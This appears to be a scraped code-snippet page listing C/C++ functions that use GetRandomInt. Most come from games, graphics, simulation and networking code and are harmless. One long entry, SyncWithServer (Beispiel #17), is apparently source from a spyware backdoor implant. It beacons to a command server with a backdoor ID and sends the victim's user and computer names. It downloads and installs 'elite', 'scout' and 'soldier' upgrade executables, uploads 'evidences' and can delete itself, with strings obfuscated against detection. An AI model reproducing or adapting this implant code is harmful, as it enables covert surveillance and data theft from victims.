Beispiel #1
0
Carton::Carton()
{
    VectorNumere.push_back(GetRandomInt());
    while(VectorNumere.size() != 15)
        {
            unsigned int nrInt = GetRandomInt();
            if(ValidareNumar(nrInt) == true)
                VectorNumere.push_back(nrInt);
                else
                    continue;
        }
    sort(VectorNumere.begin(),VectorNumere.begin() + 15);
}
Beispiel #2
0
VOID CoinUpdate()
{
	for (int k = 0; k < 10; k++)
	{
		CoinPosition[k][0] -= ScorePerFrame * 4;
		if (CoinPosition[k][0] + COIN_SIZE * 5 < 0)
		{
			int prev = k - 1;
			if (prev == -1) prev = 9;
			CoinPosition[k][0] = CoinPosition[prev][0] + GetRandomInt(WNDWIDTH / 3, WNDWIDTH);
			CoinPosition[k][1] = GetRandomInt(0, WNDHEIGHT - COIN_SIZE * 8);
			Transform(k, GetRandomInt(0, 25));
		}
	}
}
Beispiel #3
0
VOID MissileUpdate()
{
	if (m_hero.invincible) return;

	if (m_missile.active)
	{
		if (m_missile.countdown)
		{
			m_missile.countdown--;
			if (!m_missile.countdown)
			{
				m_missile = CreateMissile(WNDWIDTH, m_hero.pos.y + 10, 111, 42, TRUE, 0);
			}
			else
			{
				m_missile.pos.y = m_hero.pos.y + 3;
			}
		}
		else
		{
			m_missile.pos.x -= ScorePerFrame * 12;
			if (m_missile.pos.x + 167 < 0) m_missile.active = false;
		}
	}
	else if (!MissileGenerate && m_hero.alive)
	{
		int roll = GetRandomInt(0, LaserRandom);
		if (roll == 0)
		{
			m_missile = CreateMissile(WNDWIDTH - 85, m_hero.pos.y + 3, 64, 56, TRUE, 50);
		}
	}
}
TM_Frame_t*  FrameGenerator::GenerateTMFrame(PCC_Command_Type cmd, TM_Frame_t* pFrame)
{
    if (!pFrame)
    {
        pFrame = createTMFrame();
    }

    //Update The TM Frame
    pFrame->timeStamp      = GetRandomInt();
    pFrame->bciState       = BCI_STANDBY;
    pFrame->lastCommand    = GeneratePCC_Command();
    pFrame->lastConfidence = UNSURE;
    pFrame->processingResult.command    = GeneratePCC_Command();
    pFrame->processingResult.confidence = UNSURE;
    GenerateBRSFrame(cmd,&pFrame->brsFrame);

    /*Leave LED Groups as the Default Groups*/

    pFrame->eegConnectionStatus     = CONNECTED;
    pFrame->pccConnectionStatus     = CONNECTED;
    pFrame->brsConnectionStatus     = CONNECTED;
    pFrame->flasherConnectionStatus = CONNECTED;

    return pFrame;
}
Beispiel #5
0
///////////////////
// Randomize all the weapons in the current game script
void CWpnRest::randomizeVisible(const std::vector<std::string> & weaponList)
{
    for( std::list<wpnrest_t> :: iterator it = m_psWeaponList.begin();
            it != m_psWeaponList.end(); it++ )
        if( std::find_if( weaponList.begin(), weaponList.end(), findWeaponByName(it->szName) ) != weaponList.end() )
            it->nState = GetRandomInt(2);
}
Beispiel #6
0
void CIPCServer::RemoteListen(quint16 Port)
{
	if(Port != 0)
	{
		m_Remote = new QTcpServer(this);

		if(m_Remote->listen(QHostAddress::Any, Port)) 
		{
			m_Port = Port;
			LogLine(LOG_NOTE, tr("Start remote server on port %1").arg(Port));
		}
		else
		{
			LogLine(LOG_WARNING, tr("Failed to start remote server on port %1, selecting alternative port").arg(Port));

			quint16 tmpPort = Port + GetRandomInt(1, 1000);
			if(m_Remote->listen(QHostAddress::Any, tmpPort)) 
			{
				m_Port = tmpPort;
				LogLine(LOG_WARNING, tr("Started remote server witn temporary port %1").arg(tmpPort));
			}
			else
				LogLine(LOG_ERROR, tr("Failed to start remote server!"));
		}

		connect(m_Remote, SIGNAL(newConnection()), this, SLOT(OnRemoteConnection()));
	}
	else
		m_Remote = NULL;
}
Beispiel #7
0
//************************************************************************
// CLCDGfx::StartTransition
//************************************************************************
void CLCDGfx::StartTransition(ETransitionType eType,LPRECT rect)
{
	if(!m_bInitialized)
		return;

	if(rect != NULL) {
		m_rTransitionRegion.left = rect->left;
		m_rTransitionRegion.right = rect->right;
		m_rTransitionRegion.top = rect->top;
		m_rTransitionRegion.bottom = rect->bottom;
	} else {
		SetRect(&m_rTransitionRegion,0,0,m_nWidth,m_nHeight);
	}

	if(eType == TRANSITION_RANDOM)
		m_eTransition = static_cast<ETransitionType>(GetRandomInt(0,2));
	else
		m_eTransition = eType;

	if(m_bTransition) {
		EndTransition();
		memcpy(m_pBitmapBits,m_pLcdBitmapBits,sizeof(BYTE)*m_nWidth*m_nHeight*m_nBPP);
	}

	if(m_pSavedBitmapBits == NULL)
		m_pSavedBitmapBits = (BYTE*)malloc(sizeof(BYTE)*m_nWidth*m_nHeight*m_nBPP);

	memcpy(m_pSavedBitmapBits, m_pBitmapBits,sizeof(BYTE)* m_nWidth * m_nHeight * m_nBPP);

	m_dwTransitionStart = 0;

	m_bTransition = true;	
}
Beispiel #8
0
///////////////////
// Make an offer to the opponent
void Dnr_MakeOffer(int nType, int nMoney)
{
    // HACK: For now we accept all offers
    // In the future - when we have performance values working - we compare car performance
    // to accept/reject an offer

    // Accept the offer
    char    *szAcceptance[] = {"OK", "Lets go!"};

	// Do we have enough money?
	if(nType == rcb_money) {
		if(cMainGuy->getBankroll() < nMoney) {
			Dnr_InitSpeechBubble("You ain't got enough dough!");
			return;
		}
	}

    int i = GetRandomInt(1);
    Dnr_InitSpeechBubble(szAcceptance[i]);

    psDiner->bGoodOffer = true;
    sRaceInfo.nBetType = nType;
    sRaceInfo.nBetMoney = nMoney;
    sRaceInfo.pcOpponent = psDiner->pcCurOpp;
}
Beispiel #9
0
// Set the player input state based on pathfound
int _Bot::GetNextInputState() {
	int InputState = 0;
	if(!Map || !Player)
		return InputState;

	switch(BotState) {
		case BotStateType::IDLE:
		break;
		case BotStateType::MOVE_HEAL: {
			return _Object::MOVE_LEFT;
		}
		case BotStateType::MOVE_PATH: {
			if(Path.size() == 0) {
				BotState = BotStateType::IDLE;
				return InputState;
			}

			// Find current position in list
			for(auto Iterator = Path.begin(); Iterator != Path.end(); ++Iterator) {
				glm::ivec2 NodePosition;
				Map->NodeToPosition(*Iterator, NodePosition);

				if(Player->Position == NodePosition) {
					auto NextIterator = std::next(Iterator, 1);
					if(NextIterator == Path.end()) {
						Path.clear();
						return 0;
					}

					// Get next node position
					Map->NodeToPosition(*NextIterator, NodePosition);

					// Get direction to next node
					glm::ivec2 Direction = NodePosition - Player->Position;
					if(Direction.x < 0)
						InputState = _Object::MOVE_LEFT;
					else if(Direction.x > 0)
						InputState = _Object::MOVE_RIGHT;
					else if(Direction.y < 0)
						InputState = _Object::MOVE_UP;
					else if(Direction.y > 0)
						InputState = _Object::MOVE_DOWN;
					break;
				}
			}

		} break;
		case BotStateType::MOVE_RANDOM: {
			InputState = 1 << GetRandomInt(0, 3);
			glm::ivec2 Direction;
			Player->GetDirectionFromInput(InputState, Direction);
			if(Map->GetTile(Player->Position + Direction)->Event.Type != _Map::EVENT_NONE)
				InputState = 0;
		} break;
	}

	return InputState;
}
Beispiel #10
0
/**
 * @brief [brief description]
 * @details [long description]
 *
 * @param pPoints [description]
 * @param numPoints [description]
 */
void PointSearchTester::GenerateRandomPoints(Point* pPoints, uint32_t numPoints)
{

	float halffloatMaxInv = 2.0f / static_cast<float>(INT_MAX);
	float halfFloatMax    = static_cast<float>(INT_MAX) / 2.0f;

	// Generate 10 million random points and put them in a tree

	for(int i = 0; i < numPoints; i++)
	{
		pPoints[i].x    = (static_cast<float>(GetRandomInt()) - halfFloatMax) * halffloatMaxInv;
		pPoints[i].y    = (static_cast<float>(GetRandomInt()) - halfFloatMax) * halffloatMaxInv;
		pPoints[i].id   = 'r';
		pPoints[i].rank = 10;
	}

	return;
}
PCC_Command_Type FrameGenerator::GeneratePCC_Command()
{
    //Sample Commands, With Highest Chance being PCC_CMD_NONE
    PCC_Command_Type commands[] =
    {
        PCC_FORWARD, PCC_CMD_NONE, PCC_BACKWARD, PCC_CMD_NONE,
        PCC_RIGHT  , PCC_CMD_NONE, PCC_LEFT    , PCC_CMD_NONE
    };

    return commands[GetRandomInt() % 8];
}
Beispiel #12
0
PWCHAR GetRandomString(ULONG uMin)
{
	PWCHAR pString = (PWCHAR)malloc((uMin + 64) * sizeof(WCHAR));
	pString[0] = L'\0';

	while(wcslen(pString) < uMin)
	{
		WCHAR pSubString[32] = { 0x0, 0x0 };

		_itow_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10);
		wcscat_s(pString, uMin + 64, pSubString);
	}

	return pString;
}
Beispiel #13
0
VOID LaserUpdate()
{
	LaserCurrentFrame++;
	if (LaserCurrentFrame == LASER_MAX_FRAME) LaserCurrentFrame = 0;
	for (int i = 0; i < MAX_LASER_NUM; i++)
		if (m_laser[i].used)
		{
			m_laser[i].pos.x -= ScorePerFrame * 4;
		}

	if (!LaserGenerate)
	{
		bool LaserJudge = TRUE;
		for (int i = 0; i < 10; i++)
		{
			if (!(CoinPosition[i][0] >= WNDWIDTH + COIN_SIZE || CoinPosition[i][0] + COIN_SIZE * 6 <= WNDWIDTH))
			{
				LaserJudge = FALSE;
				break;
			}
		}
		if (LaserJudge)
		{
			int roll = GetRandomInt(0, LaserRandom);
			if (roll == 0)
			{
				LaserAxis++;
				if (LaserAxis == MAX_LASER_NUM) LaserAxis = 0;
				int length = GetRandomInt(WNDHEIGHT / 5, WNDHEIGHT / 5 * 3);
				int position = GetRandomInt(0, WNDHEIGHT - length - 60);
				m_laser[LaserAxis] = CreateLaser(WNDWIDTH, position, 39, 43, 18, 1, length, !m_hero.invincible);
				LaserGenerate = 200;
			}
		}
	}
}
Beispiel #14
0
///////////////////
// Roll in a new opponent
void Dnr_RollinOpponent(void)
{
    // Choose a random opponent
    int num = GetRandomInt( cMainGuy->getNumOpponents()-1 );
    psDiner->pcCurOpp = cMainGuy->getOpponentList()+num;

    psDiner->nOppState = opp_rollingin;
    psDiner->cOppPosition = CVec(-10,-60,3.5);
    psDiner->bGoodOffer = false;

    // Rotate the opponent
    CMatrix m;
    m.Rotate(CVec(0,0,1),90);
    psDiner->pcCurOpp->zeroRotation();
    psDiner->pcCurOpp->rotate(m);
}
Beispiel #15
0
VOID BackgroundUpdate()
{
	int k;
	for(k = 0; k < MAX_BACKGROUND_NUM; k++)
	{
		m_background[k].pos.x -= ScorePerFrame * 4;
		if (m_background[k].pos.x + m_background[k].size.cx < 0)
		{
			m_background[k].pos.x += MAX_BACKGROUND_NUM * BACKGROUND_SIZE_X;
			int randk = GetRandomInt(0, BACKGROUND_COLOR_NUM - 1);
			if (!GameStart) randk = 0;
			m_background[k].hBmp = m_hBackgroundBmp[randk];
		}
	}
	m_others[2].pos.x -= ScorePerFrame * 4;
}
EEG_Frame_t* FrameGenerator::GenerateEEGFrame(EEG_Frame_t* pFrame)
{
    if (!pFrame)
    {
        pFrame = createEEGFrame();
    }

    pFrame->eegType = EEG_TYPE_EMOTIV; //We're not going to be ambitious
    pFrame->counter = GetRandomInt();

    //Electrode Data and Contact Quality
    for (int i = 0; i < MAX_EEG_ELECTRODES; i++)
    {
        pFrame->electrodeData[i]  = (GetRandomInt());
        pFrame->contactQuality[i] = (GetRandomInt() * 500) % 6000;
    }

    //The rest of the Crap
    pFrame->gyroX = GetRandomInt();
    pFrame->gyroY = GetRandomInt();
    pFrame->batteryPercentage = GetRandomInt();

    return pFrame;
}
Beispiel #17
0
BOOL SyncWithServer()
{
	PBYTE pRandomData, pProtoMessage, pInstanceId, pCryptedBuffer;
	ULONG uGonnaDie, uGonnaUpdate;
	BYTE pHashBuffer[20];
	BOOL bRetVal = FALSE;

	uGonnaDie = uGonnaUpdate = 0;

	memcpy(pServerKey, CLIENT_KEY, 32);
	memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32);
#ifdef _DEBUG_BINPATCH
	MD5((PBYTE)CLIENT_KEY, 32, pServerKey);
	MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, pConfKey);
#endif
	
	pRandomData = (PBYTE)malloc(16);
	GenerateRandomData(pRandomData, 16);

	PBYTE pBuffer = (PBYTE)malloc(32);
	memcpy(pBuffer, pConfKey, 16);
	memcpy(pBuffer + 16, pRandomData, 16);
	CalculateSHA1(pHashBuffer, pBuffer, 32);
	free(pBuffer);
	
	pInstanceId = (PBYTE)malloc(20);
	GetUserUniqueHash(pInstanceId, 20);

	// proto_v + rand + sha1(conf_key + rand) + bdoor_id(padded) + instance_id + subtype + randpool	 (FIXME)
	ULONG uRandPoolLen = GetRandomInt(128, 1024);
	ULONG uCryptBufferLen = Align(sizeof(ULONG) + 16 + 20 + strlen(BACKDOOR_ID) + 2 + 20 + sizeof(ULONG), 16);
	ULONG uMessageLen = uCryptBufferLen + uRandPoolLen;
	pProtoMessage = (PBYTE)malloc(uMessageLen);
	PBYTE pMessageBuffer = pProtoMessage;

	// proto version
	*(PULONG)pMessageBuffer = 0x1; 
	pMessageBuffer += sizeof(ULONG);

	// kd
	memcpy(pMessageBuffer, pRandomData, 16);
	pMessageBuffer += 16;

	// sha1(conf_key + kd)
	memcpy(pMessageBuffer, pHashBuffer, 20);
	pMessageBuffer += 20;

	// backdoor_id
	memcpy(pMessageBuffer, BACKDOOR_ID, strlen(BACKDOOR_ID) + 2);
	pMessageBuffer += strlen(BACKDOOR_ID);
	memcpy(pMessageBuffer, "\x00\x00", 0x2); // 16 byte padding (id is 14byte fixed len)
	pMessageBuffer += 0x2;

	// instance id
	memcpy(pMessageBuffer, pInstanceId, 20);
	pMessageBuffer += 20;

	// subtype
	pMessageBuffer[0] = 0x0; // ARCH: windows

	/* 
		determine whether it's a demo scout or not :
		- cautiously set demo to 0 (i.e. release)
		- if stars align properly set to demo
	*/ 
	pMessageBuffer[1] = 0x0; // TYPE: release

	SHA1Context sha;
	SHA1Reset(&sha);
    SHA1Input(&sha, (PBYTE)DEMO_TAG, (DWORD)(strlen(DEMO_TAG)+1));
	if (SHA1Result(&sha)) 
	{ 
		/* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */
		unsigned nDemoTag[5];
		nDemoTag[0] = 1575563797;
		nDemoTag[1] = 2264195072;
		nDemoTag[2] = 3570558757;
		nDemoTag[3] = 2213518012;
		nDemoTag[4] = 971935466;
		
		if( nDemoTag[0] == sha.Message_Digest[0] &&
			nDemoTag[1] == sha.Message_Digest[1] &&
			nDemoTag[2] == sha.Message_Digest[2] &&
			nDemoTag[3] == sha.Message_Digest[3] &&
			nDemoTag[4] == sha.Message_Digest[4] )
		{
			pMessageBuffer[1] = 0x1;
		}
		
	}



	pMessageBuffer[2] = 0x1; // STAGE: scout
	pMessageBuffer[3] = 0x0; // FLAG: reserved

	// encrypt
	Encrypt(pProtoMessage, uCryptBufferLen, pServerKey, PAD_NOPAD);

	// append random block
	GenerateRandomData(pProtoMessage + uCryptBufferLen, uRandPoolLen);

	// base64 everything
	PBYTE pBase64Message = (PBYTE)base64_encode(pProtoMessage, uMessageLen);

	// send request
	ULONG uResponseLen;
	ULONG uRet = WinHTTPSendData(pBase64Message, strlen((char *)pBase64Message));
	free(pBase64Message);
	if (!uRet)
	{
		free(pRandomData);
		free(pInstanceId);
		free(pProtoMessage);
#ifdef _DEBUG
		OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:234\n");
#endif
		return FALSE;
	}

	// get response
	PBYTE pHttpResponseBufferB64 = WinHTTPGetResponse(&uResponseLen); 
	if (!pHttpResponseBufferB64)
	{
#ifdef _DEBUG
	OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:244\n");
#endif
		return FALSE;
	}

	// base64
	ULONG uOut;
	PBYTE pProtoResponse = base64_decode((char *)pHttpResponseBufferB64, uResponseLen, (int *)&uOut);
	free(pHttpResponseBufferB64);

	if (uOut < sizeof(PROTO_RESPONSE_AUTH))
		return FALSE; // FIXME free

	// decrypt
	Decrypt(pProtoResponse, uOut, pConfKey);

	// fill packet
	PROTO_RESPONSE_AUTH pProtoResponseId;
	memcpy(&pProtoResponseId, pProtoResponse, sizeof(PROTO_RESPONSE_AUTH));
	free(pProtoResponse);

	// first sha1
	pBuffer = (PBYTE)malloc(16 + sizeof(pProtoResponseId.pRandomData) + 16);
	memcpy(pBuffer, pConfKey, 16);
	memcpy(pBuffer + 16, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData));
	memcpy(pBuffer + 16 + sizeof(pProtoResponseId.pRandomData), pRandomData, 16);
	CalculateSHA1(pHashBuffer, pBuffer, 16 + sizeof(pProtoResponseId.pRandomData) + 16);
	free(pBuffer);
	
	PBYTE pFirstSha1Digest = (PBYTE)malloc(20);
	memcpy(pFirstSha1Digest, pHashBuffer, 20);

	// second sha1
	pBuffer = (PBYTE)malloc(20 + 16);
	memcpy(pBuffer, pFirstSha1Digest, 20);
	memcpy(pBuffer + 20, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData));
	CalculateSHA1(pHashBuffer, pBuffer, 20 + sizeof(pProtoResponseId.pRandomData));
	free(pBuffer);
	free(pFirstSha1Digest);

	if (memcmp(pHashBuffer, pProtoResponseId.pSha1Digest, 20))
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] Ouch SHA1 does not match !!!\n");
#endif
		return FALSE;
	}


	// AUTH DONE \o/
#ifdef _DEBUG
	OutputDebugString(L"[+] PROTO_AUTH succeded !!\n");
#endif

	// session key sha1(conf_key + ks + kd)
	pBuffer = (PBYTE)malloc(48); 
	memcpy(pBuffer, pConfKey, 16);
	memcpy(pBuffer + 16, pProtoResponseId.pRandomData, 16);
	memcpy(pBuffer + 16 + 16, pRandomData, 16);
	CalculateSHA1(pSessionKey, pBuffer, 48);
	free(pBuffer);

	if (pProtoResponseId.uProtoCommand != PROTO_OK && pProtoResponseId.uProtoCommand != PROTO_NO && pProtoResponseId.uProtoCommand != PROTO_UNINSTALL)
	{
#ifdef _DEBUG
		PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
		swprintf_s(pDebugString, 1024, L"[!!] Invalid PROTO command %08x", pProtoResponseId.uProtoCommand);
		OutputDebugString(pDebugString);
		free(pDebugString);
#endif

		return FALSE;
	}
	

	if (pProtoResponseId.uProtoCommand == PROTO_NO)
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] Got PROTO_NO\n");
#endif
		return FALSE;
	}
	else if (pProtoResponseId.uProtoCommand == PROTO_UNINSTALL)
	{
#ifdef _DEBUG
		OutputDebugString(L"[+] Got PROTO_UNINSTALL, I'm gonna die :(\n");
#endif
		if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer)))
			free(pCryptedBuffer);

		WinHTTPClose();
		DeleteAndDie(TRUE);
	}


	// send ID
	ULONG uStringLong = 32767 * sizeof(WCHAR);
	PWCHAR pUserName = (PWCHAR)malloc(uStringLong);
	PWCHAR pComputerName = (PWCHAR)malloc(uStringLong);

	WCHAR strUser[] = { L'U', L'S', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' };
	WCHAR strComputer[] = { L'C', L'O', L'M', L'P', L'U', L'T', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' };

	if (!GetEnvironmentVariable(strUser, pUserName, uStringLong))
		pUserName[0] = L'\0';
	if (!GetEnvironmentVariable(strComputer, pComputerName, uStringLong))
		pComputerName[0] = L'\0';

	// Prepare ID buffer
	ULONG uUserLen, uComputerLen, uSourceLen = 0;	
	PBYTE pUserNamePascal = PascalizeString(pUserName, &uUserLen);
	PBYTE pComputerNamePascal = PascalizeString(pComputerName, &uComputerLen);
	PBYTE pSourceIdPascal = PascalizeString(L"", &uSourceLen);
	free(pUserName);
	free(pComputerName);

	ULONG uBuffLen = sizeof(ULONG) + uUserLen + uComputerLen + uSourceLen;
	pBuffer = (PBYTE)malloc(uBuffLen);
	*(PULONG)pBuffer = BUILD_VERSION;
	memcpy(pBuffer + sizeof(ULONG), pUserNamePascal, uUserLen);
	memcpy(pBuffer + sizeof(ULONG) + uUserLen, pComputerNamePascal, uComputerLen);
	memcpy(pBuffer + sizeof(ULONG) + uUserLen + uComputerLen, pSourceIdPascal, uSourceLen);
	free(pUserNamePascal);
	free(pComputerNamePascal);
	free(pSourceIdPascal);

	// Send ID
	if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_ID, pBuffer, uBuffLen, pSessionKey, &pCryptedBuffer)))
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] WinHTTPSendData @ proto.cpp:381\n");
#endif
		free(pBuffer);
		return FALSE;
	}
	free(pCryptedBuffer);
	free(pBuffer);	

	// Get reponse
	PBYTE pHttpResponseBuffer = WinHTTPGetResponse(&uResponseLen); 
	if (!pHttpResponseBuffer || uResponseLen < sizeof(PROTO_RESPONSE_ID))
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:387\n");
#endif
		if (pHttpResponseBuffer)
			free(pHttpResponseBuffer);
		return FALSE;
	}
	// decrypt it
	Decrypt(pHttpResponseBuffer, uResponseLen, pSessionKey);

	PPROTO_RESPONSE_ID pResponseId = (PPROTO_RESPONSE_ID)pHttpResponseBuffer;
#ifdef _DEBUG
	PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
	swprintf_s(pDebugString, 1024, L"[+] Got PROTO_ID PROTO - uProtoCommand: %08x, uMessageLen: %08x, uAvailables: %d\n", 
		pResponseId->uProtoCommand, 
		pResponseId->uMessageLen, 
		pResponseId->uAvailables);
	OutputDebugString(pDebugString);
	free(pDebugString);
#endif
	
	// parse availables
	if (pResponseId->uAvailables)
	{
		PULONG pAvailables = (&pResponseId->uAvailables) + 1;
		for (ULONG i=0; i<pResponseId->uAvailables; i++)
		{
#ifdef _DEBUG
			pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
			swprintf_s(pDebugString, 1024, L"  - Available %08x\n", pAvailables[i]);
			OutputDebugString(pDebugString);
			free(pDebugString);
#endif
			// AVAILABLE STUFF HERE THERE AND EVERYWHERE
			if (pAvailables[i] == PROTO_UPGRADE)
			{
#ifdef _DEBUG
				pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
				swprintf_s(pDebugString, 1024, L"[+] Got PROTO_UPGRADE, requesting executables\n");
				OutputDebugString(pDebugString);
				free(pDebugString);
#endif
				if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_UPGRADE, NULL, 0, pSessionKey, &pCryptedBuffer)))
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] WinHTTPSendData FAIL @proto.cpp:435\n");
#endif
					return FALSE;
				}
				free(pCryptedBuffer);

				PBYTE pHttpUpgradeBuffer = WinHTTPGetResponse(&uResponseLen); 
				if (!pHttpUpgradeBuffer || uResponseLen < sizeof(PROTO_RESPONSE_UPGRADE))
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:433\n");
#endif
					if (pHttpUpgradeBuffer)
						free(pHttpUpgradeBuffer);

					return FALSE; // FIXME FREE
				}
#ifdef _DEBUG
				OutputDebugString(L"[*] Got Upgrade\n");
#endif
				Decrypt(pHttpUpgradeBuffer, uResponseLen, pSessionKey);

				PPROTO_RESPONSE_UPGRADE pProtoUpgrade = (PPROTO_RESPONSE_UPGRADE)pHttpUpgradeBuffer; 
				PWCHAR pUpgradeName = (PWCHAR)malloc(pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));

				if (!pUpgradeName)
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] pUpgradeName fail\n");
#endif
					free(pHttpUpgradeBuffer);
					return FALSE; // FIXME FREE
				}
				SecureZeroMemory(pUpgradeName, pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));
				memcpy(pUpgradeName, &pProtoUpgrade->pUpgradeNameBuffer, pProtoUpgrade->uUpgradeNameLen);
#ifdef _DEBUG
				pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
				swprintf_s(pDebugString, 1024, L"[+] PROTO_UPGRADE - uProtoCommand: %08x, uResponseLen: %x, uUpgradeLeft: %d, uUpgradeNameLen: %d, pUpgradeName: %s\n", 
					pProtoUpgrade->uProtoCommand, pProtoUpgrade->uResponseLen, pProtoUpgrade->uUpgradeLeft, pProtoUpgrade->uUpgradeNameLen, pUpgradeName);
				OutputDebugString(pDebugString);
				free(pDebugString);
#endif

				ULONG uFileLength = *(PULONG) (((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen);
				PBYTE pFileBuffer = (PBYTE)(((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG);

				//if (!wcscmp(pUpgradeName, L"elite"))
				if (pUpgradeName[0] == L'e' && pUpgradeName[1] == L'l')
				{
					if (UpgradeElite(pUpgradeName, pFileBuffer, uFileLength))
						uGonnaDie = 1;
					else
					{
						WCHAR pMessage[] = { L'E', L'l', L'F', L'a', L'i', L'l', L'\0' };
						SendInfo(pMessage);
					}
				}
				//if (!wcscmp(pUpgradeName, L"scout"))
				if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'c')
				{
					if (!UpgradeScout(pUpgradeName, pFileBuffer, uFileLength))
					{
						WCHAR pMessage[] = { L'S', L'c', L'F', L'a', L'i', L'l', L'\0' };
						SendInfo(pMessage);
					}
				}
				if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'o')
				{
					if (!UpgradeSoldier(pUpgradeName, pFileBuffer, uFileLength))
					{
						WCHAR pMessage[] = { L'S', L'o', L'F', L'a', L'i', L'l', L'\0' };
						SendInfo(pMessage);
					}
				}

				//if (!wcscmp(pUpgradeName, L"recover"))
				//if (pUpgradeName[0] == L'r' && pUpgradeName[1] == L'e')
				//{
				//	if (!UpgradeRecover(pUpgradeName, pFileBuffer, uFileLength))
				//	{
				//		WCHAR pMessage[] = { L'R', L'e', L'c', L'F', L'a', L'i', L'l', L'\0' };
				//		SendInfo(pMessage);
				//	}
				//}

				free(pUpgradeName);
				free(pHttpUpgradeBuffer);
			}
		}
	}
	free(pHttpResponseBuffer);

	if (SendEvidences())
		bRetVal = TRUE;
	
	// send BYE
#ifdef _DEBUG
	OutputDebugString(L"[*] Sending PROTO_BYE\n");
#endif
	if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer)))
		free(pCryptedBuffer);
#ifdef _DEBUG
	else
		OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:499\n");
#endif

	if (uGonnaDie == 1)
	{
		WinHTTPClose();
		DeleteAndDie(TRUE);
	}

	free(pProtoMessage);
	free(pInstanceId);
	free(pRandomData);

	return bRetVal;
}
Beispiel #18
0
///////////////////
// Process the opponent stuff
void Dnr_ProcessOpponent(void)
{
    char buf[256];
    int  i;
    CVec p;

    switch(psDiner->nOppState) {

        // Waiting
        case opp_waiting:
            if( tMainSR3.fCurTime > psDiner->fOppTimer ) {
                // Roll in a new opponent
                Dnr_RollinOpponent();
            }
            break;


        // Rolling in
        case opp_rollingin:
            psDiner->pcLocation->setStatusText(psDiner->pcCurOpp->getDescription(buf));
            psDiner->cOppPosition += CVec(20,0,0)*tMainSR3.fDeltaTime;

            // Spin the tyres
            for( i=0; i<4; i++ ) {
                CPart *p = psDiner->pcCurOpp->getCar()->getTire(i);
                if(p)
                    p->SpinTyre(2);
            }
            if( psDiner->cOppPosition.GetX() > 25 ) {
                psDiner->cOppPosition.SetX(25);

                // Setup the opponent ready state
                psDiner->bOppClicked = false;
                psDiner->nOppState = opp_ready;
                psDiner->fOppTimer = tMainSR3.fCurTime + 5;
            }
            break;


        // Ready
        case opp_ready:
            // Show the car description
            if( !psDiner->bOppClicked )
                psDiner->pcLocation->setStatusText(psDiner->pcCurOpp->getDescription(buf));

            // Has the opponent waited long enough for interaction?
            if( tMainSR3.fCurTime > psDiner->fOppTimer && !psDiner->bOppClicked ) {

                // Roll out the opponent
                psDiner->nOppState = opp_rollingout;
            }

            // Is the mouse over the car?
            UnprojectMouse(&p);
            if( psDiner->pcCurOpp->intersect(psDiner->pcLocation->getCamPos(), p) && !psDiner->bOppClicked ) {
                psDiner->pcLocation->setStatusText("Challenge opponent");

                if( System_GetMouse()->Up & SDL_BUTTON(1) ) {
                    // Challenge the opponent

                    Dnr_ChallengeOpponent(0, 0);
                }
            }
            break;


        // Rolling out
        case opp_rollingout:
            psDiner->cOppPosition += CVec(30,0,0)*tMainSR3.fDeltaTime;

            // Spin the tyres
            for( i=0; i<4; i++ ) {
                CPart *p = psDiner->pcCurOpp->getCar()->getTire(i);
                if(p)
                    p->SpinTyre(3);
            }
            if( psDiner->cOppPosition.GetX() > 70 ) {

                psDiner->nOppState = opp_waiting;
                psDiner->fOppTimer = tMainSR3.fCurTime + (float)GetRandomInt(2)+3.0f;
            }
            break;
    }
}
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
float CEnvMeteorSpawnerShared::MeteorThink( float flTime )
{
	// Check for spawn.
	if ( flTime < m_flNextSpawnTime )
		return m_flNextSpawnTime;

	while ( m_flNextSpawnTime < flTime )
	{
		// Get a random number of meteors to spawn and spawn them.
		int nMeteorCount = GetRandomInt( m_nMinSpawnCount, m_nMaxSpawnCount );
		for ( int iMeteor = 0; iMeteor < nMeteorCount; iMeteor++ )
		{
			// Increment the number of meteors created (starting with 1).
			m_nMeteorCount++;

			// Get a random meteor position.
			Vector meteorOrigin( GetRandomFloat( m_vecMinBounds.GetX(), m_vecMaxBounds.GetX() ) /* x */,
				                 GetRandomFloat( m_vecMinBounds.GetY(), m_vecMaxBounds.GetY() ) /* y */,
				                 GetRandomFloat( m_vecMinBounds.GetZ(), m_vecMaxBounds.GetZ() ) /* z */ );
			
			// Calculate the direction of the meteor based on "targets."
